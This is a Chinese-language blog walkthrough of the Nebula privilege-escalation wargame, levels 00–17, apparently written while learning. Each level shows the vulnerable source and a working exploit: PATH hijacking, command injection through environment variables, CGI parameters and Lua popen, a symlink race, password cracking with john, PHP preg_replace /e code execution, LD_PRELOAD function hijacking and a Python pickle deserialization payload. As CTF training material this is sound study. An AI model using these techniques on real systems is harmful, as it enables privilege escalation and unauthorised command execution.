Nebula Writeup

这份writeup可能水分很大,因为第一次玩这类的题目,所以一边看别人的writeup一边玩才玩的出来,不过还会有自己的总结。

这游戏一开始我是直接在虚拟机中玩,后面发现自己傻的可以,虚拟机中各种不方便,不能粘贴复制之类,没有鼠标etc。

后面发现,特么我只要设置下虚拟机的网络,就可以用本机shell,ssh连上去啊!

Level00

第0题就是在告诉我们这系列的题目要怎么玩了,如何才算做出来。

其实就是分为两类用户,一个是levelxx和flagxx,xx就是题号,目的就是在levelxx用户的情况下,通过某些方法进入flagxx用户,然后执行getflag. 按目前的情况看,flagxx就是含漏洞的可执行文件。之后还有一些题是要求获取token,而token就是该题flag用户的密码。

第0题没啥技术性,就是用来告诉我们上面这些东西,flag00 的路径位 /bin/.../flag00, 直接执行就好:

1
2
3
4
5
level00@nebula:/bin/...$ ./flag00
Congrats, now run getflag to get your flag!

flag00@nebula:/bin/...$ getflag
You have successfully executed getflag on a target account

Level01

第一题就感觉学到很多了,这题给了程序的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//flag01.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}

程序位于 /home/flag01/flag01, 我认为该题的关键点在于文件的s权限,

1
2
3
$ chmod 4750 flag01
$ ll
-rwsr-x--- flag01 level01 flag01

uid, gid现在还不是了解的很清楚,以后再研究。

在没有设置s权限的情况下,运行flag01的uid和gid都为运行该程序用户的id,(可在/etc/passwd中查看),但当设置了s权限之后,uid则变为该文件所属用户的uid,也就是说,任意用户(有权限)运行该文件,uid都为flag01的uid。

这有啥意义呢? 该游戏的目的是使用levelxx用户通过flagxx程序get flagxx用户shell,运行getflag,该程序最后使用了system函数运行系统命令,因为设置了s权限,所以是以该文件所有者的身份运行命令,所以有两个思路,一个是直接运行getflag,另一个是运行/bin/bash get flag01用户的shell,这里我们用第二种方法。

$ /usr/bin/env echo 是从左往右搜索 $PATH环境变量中的路径,寻找echo命令,则我们可以在环境变量的最左边添加一个路径,里面有一个我们自己写的echo命令:

1
2
3
4
5
6
7
8
9
10
level01@neula:~$ PATH=/tmp:$PATH
level01@neula:~$ vim /tmp/echo
#!/bin/bash
/bin/bash
:wq
level01@neula:~$ chmod +x /tmp/echo
level01@neula:~$ cd /home/flag01
level01@neula:~$ ./flag01
flag01@neula:~$ getflag
You have successfully executed getflag on a target account

Level02

这题一样,源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//flag02.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{

char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf($buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

然后运行该程序试试

1
2
3
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

这题很简单,主要在 getenv("USER") 函数,该函数是获得shell的变量$USER

1
2
level02@nebula:~$ echo $USER
level02

所以只要更改该值,以达到我们能get flag02用户shell的目的

1
2
3
4
5
6
level02@nebula:/home/flag02$ USER=";bash;"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;bash; is cool")

flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

Level03

这题有个定时脚本,每隔几分钟运行一个:

1
2
3
4
5
6
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done

这是一个 flag03用户运行的定时脚本,运行writable.d中的文件,运行结束后删除,不是很清楚这题的意义所在,/home/flag03/writable.d文件夹可写,那就写个脚本呗:

1
2
3
4
level03@nebula:/home/flag03/writable.d$ vim getflag.sh
#!/bin/bash
getflag > a.out
:wq

等会,你就会发现getflag.sh文件不见了,/home/flag03 下多出了a.out文件

1
2
level03@nebula:/home/flag03$ cat a.out
You have successfully executed getflag on a target account

恕我才疏学浅,这题并不懂该如何getshell,不过感觉这样和getshell没啥区别,想运行啥直接写脚本里就好了

Level04

源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//flag04.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{

char buf[1024];
int fd, rc;

if (argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if (strstr((argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if (fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if (rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}

这题的目的是读取/home/flag04/token文件,可是该文件对level04用户没有可读权限,然后通过flag04程序的限制读取token文件,flag04的源码如上。这里我陷入了一个误区了,以为对token文件啥权限都没有,所以注意里都放在代码上了,后面看了lightless的writeup才知道,没有权限的情况下仍然可以进行软链接。

1
2
3
level04@nebula:~$ ln -s /home/flag04/token /tmp/fff
level04@nebula:/home/flag04$ ./flag04 /tmp/fff
06508b5e-8909-4f38-b630-fdb148a848a2

Level05

这题很简单,在 /home/flag05 目录下多出了 .backup.ssh 目录,.ssh 目录没有可读权限,.backup里有个压缩文件,copy到自己的目录下解压。

1
2
3
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /home/level05
level05@nebula:/home/flag05/.backup$ cd /home/level05
level05@nebula:/home/level05$ tar zvxf backup-19072011.tgz

解压出来了三个文件

  • authorized_keys
  • id_rsa
  • id_rsa.pub
    猜测这就是 .ssh 目录里的内容,所以可以直接ssh免密登录了
    1
    2
    3
    level05@nebula:~$ ssh flag05@127.0.0.1
    flag05@nebula:~$ getflag
    You have successfully executed getflag on a target account

Level06

这题涨姿势了,要我自己做,肯定是做不出来的,根据题目提示,到 /home/flag06 里去看,啥有用的也没发现,然后看了LL的wp后,才知道,重点是在 /etc/password

1
2
flag06@nebula:~$ cat /etc/passwd|grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

我猜测,这题的目的是让我们学如何破linux密码,但是/etc/shadow 普通用户不可读,所以把flag06在shadow的内容复制到passwd中

所以接下来就是破密码了, 使用 john命令,通过apt直接安装:

1
2
3
4
5
6
7
8
9
10
11
$ apt-get install john
......
$ cat passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ john passwd
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 100% 2/3 2.631g/s 1981p/s 1981c/s 1981C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

密码:hello
然后ssh登录,getflag

Level07

这题是perl的代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host = $_[0];

print("<html><head><title>Ping results</title></head><body><pre>");

@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }

print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

虽然不懂Perl,但一看下就是$host没做任何过滤,所以可能会存在命令执行漏洞。这个脚本位于 /home/flag07/index.cgi, 然后通过 thttpd.conf 可知,这应该是使用http协议,监听了7007端口,然后接收Host参数,所以

1
2
3
4
5
6
$ curl  http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||whoami;" 
<html><head><title>Ping results</title></head><body><pre>flag07
</pre></body></html>
$ curl http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||getflag;"
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account
</pre></body></html>

这是最简单的方法,因为这题的目的就是让我们getflag, 不过还可以进行提高,怎么getshell呢?去看LL菊苣的wp吧。。。。我没做出来。。thttpd一直报400错误。。

Level08

这题是流量审计,在 /home/flag08 里面有一个pcap文件,拖到本地用Wireshark,然后发现全是TCP包,然后有些是包含一些不全的数据,这时候可以使用wireshark跟踪tcp流的功能

右击任意一个TCP包,点击Follow TCP Stream
tcpl

然后查看密码的十六进制
tcpl

可知中间跟了几个0x7f(DEL),所以密码是 backd00Rmate

1
2
3
$ ssh flag08@nebula
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

Level09

这题是php代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

这题有两个可控点,$filename$use_me
然后涉及到两个知识点,一个是preg_replace已经被弃用的的/e(见[http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval])
会转义单引号,双引号,反斜杠和NULL,然后还会执行spam(“\2”)。。然后涉及到第二个知识点([ttp://php.net/manual/en/language.types.string.php#language.types.string.parsing]):

1
2
3
4
5
6
level09@nebula:/home/flag09$ vim /tmp/payload
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/payload whoami
flag09
level09@nebula:/home/flag09$ ./flag09 /tmp/payload getflag
You have successfully executed getflag on a target account

Level10

这题又是C代码审计,本题目标是读取token文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{

char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

我们需要给该程序传递两个参数,一个file(文件名), 一个host(主机名),这个程序的功能是,先检查file是否可读,如果可读,则与host:18211建立tcp连接,然后open(file),发送文件内容。如下测试该程序功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
level10@nebula:/home/flag10$ vim /tmp/a
ffffff
--------

; 在本机(192.168.56.1)上
$ while [ 1 ];do nc -l 18211; done
--------
level10@nebula:/home/flag10$ ./flag10 /tmp/a 192.168.56.1
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
--------

; 本机
.oO Oo.
ffffff

本题的漏洞在于,先是检查文件是否可读,但是并没有打开,如果检查完文件可读之后,在建立tcp连接的过程中,我把文件改成一个level10不可读,但是flag10可读的文件,程序任然能正常运行,过程如下:

1
2
3
4
5
6
7
8
9
10
11
level10@nebula:/home/flag10$ vim /tmp/level10.sh
#!/bin/sh
while [ 1 ];
do
ln -sf /tmp/a /tmp/fff
ln -sf /home/flag10/token /tmp/fff
done
level10@nebula:/home/flag10$ bash /tmp/level10.sh
level10@nebula:/home/flag10$ while [ 1 ]; do ./flag10 /tmp/fff 192.168.56.1; done
-----------
; 你会在本机上看到token文件内容

Level11

还是C代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/


int getrand(char **path)
{

char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{

unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{

char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
}

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}

这题应该不是很难,能看懂代码应该就能解出来,贴下我的payload脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#payload.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys

def my_w_file(content):
f = open("payload", "w")
f.write(content)
f.close()


def main(command):
command += "\x00"
length = 1024
count_length = length & 0xff
payload_command = ""
for x in command:
payload_command += chr((ord(x) ^ count_length) & 0xff)
count_length -= ord(x)
payload_command += chr(count_length & 0xff)
payload = "Content-Length: " + str(length) + "\n" + payload_command + "A" * (length - len(payload_command) )
print payload
#my_w_file(payload)

if __name__ == '__main__':
if len(sys.argv) == 2:
main(sys.argv[1])

# $ python payload.py whoami | /home/flag11/flag11
# level11
# (╯‵□′)╯︵┻━┻ 这特么。。。不做了。。看了涛涛的博客,还有第二种更简单的方法,可是都不行。。。shit!

Level12

lua脚本的代码审计,好像是个后门脚本。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end


while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end

这题你开着lua解释器试试就知道了。。问题在这行代码

1
2
prog = io.popen("echo "..password.." | sha1sum", "r")
-- payload: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;#

没有对password做任何过滤,导致命令执行。

1
2
3
4
5
level12@nebula:/tmp$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;#
Congrats, your token is 413**CARRIER LOST**
level12@nebula:/tmp$ cat /tmp/get
You have successfully executed getflag on a target account

感觉nebula有问题。。。没能getshell成功

Level13

这题的C代码很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{

int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry :)

printf("your token is %s\n", token);

}

代码简单了,可是不会做了,看了涛涛的wp后,学到了许多新知识
前置知识点1:

LD_PRELOAD:

在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

这题的思路就是劫持getuid函数 :

1
2
3
4
5
6
myuid.c
#include <sys/types.h>
uid_t getuid(void) {
//system("getflag > /tmp/getflag13"); getshell失败
return 1000;
}

2: 编译动态链接库

1
2
3
4
5
6
level13@nebula:/tmp$ gcc -shared myuid.c -o myuid.so
level13@nebula:/tLD_PRELOAD=/tmp/myuid.so
level13@nebula:/tmp$ export LD_PRELOAD
level13@nebula:/tmp$ cp /home/flag13/flag13 ./
level13@nebula:/tmp$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

flag13和myuid.so的ruid要一样,所以把flag13 copy过来。

Level14

给一个加密程序,然后解密token文件。。。。这是小学的找规律?

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
#-*- coding:utf-8 -*-

cipher = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."
plain = ""
for x in range(len(cipher)):
plain += chr(ord(cipher[x]) - x)

print plain

得到token后

1
2
3
4
5
6
level14@nebula:/home/flag14$ su flag14
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$ whoami
flag14

Level15

暂无。。。前置技能没点够,LL的wp看不懂

Level16

perl代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);


if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

问题出在这句,命令执行

1
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

然后在之前对变量 $username做了两次过滤

1
2
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

一个是把所以字母变为大写,然后去掉空格后面的内容,可以这样测试 -> 在shell中输入以下命令,<xxx> 为可控区域,也就是你能输入的地方

1
$ egrep "^<xxx>" /home/flag16/userdb.txt 2>&1

然后 <xxx> 里的内容不应该出现空格,因为空格后面的内容都会被过滤,然后所以字母都必须是大写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
level16@nebula:/tmp$ vim GET
#!/bin/sh
getflag > /tmp/flag
:wq
level16@nebula:/tmp$ export PATH=/tmp:$PATH
level16@nebula:/tmp$ GET
level16@nebula:/tmp$ cat /tmp/flag
getflag is executing on a non-flag account, this doesn't count
level16@nebula:/tmp$ rm /tmp/flag
------------------

$ curl nebula:1616/index.cgi?username=%60%2f%2a%2fget%60
------------------

level16@nebula:/tmp$ cat /tmp/flag
You have successfully executed getflag on a target account

Level17

( ′ロ` )终于遇到我会的语言了。。。python代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)

详情参加官方文档 [https://docs.python.org/2/library/pickle.html]

问题出来pickle模块的loads方法,在如果dumps了一个object类型数据,则在loads时会执行其中的reduce方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# level16.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import os
import pickle

class ttt(object):
def __reduce__(self):
return (os.system,("getflag>/tmp/flag16",))


a = pickle.dumps(ttt())
print a
#b = pickle.loads(a)

可以自己在本地测试一下。。我的修炼还是不够啊。。

1
2
3
4
level16@nebula:/tmp$ python level16.py > nc 127.0.0.1 10007
Accepted connection from 127.0.0.1:59058^C
level16@nebula:/tmp$ cat flag16
You have successfully executed getflag on a target account

底层系统的水太深了。。。

文章目录
  1. 1.
  2. 2. Level00
  3. 3. Level01
  4. 4. Level02
  5. 5. Level03
  6. 6. Level04
  7. 7. Level05
  8. 8. Level06
  9. 9. Level07
  10. 10. Level08
  11. 11. Level09
  12. 12. Level10
  13. 13. Level11
  14. 14. Level12
  15. 15. Level13
  16. 16. Level14
  17. 17. Level15
  18. 18. Level16
  19. 19. Level17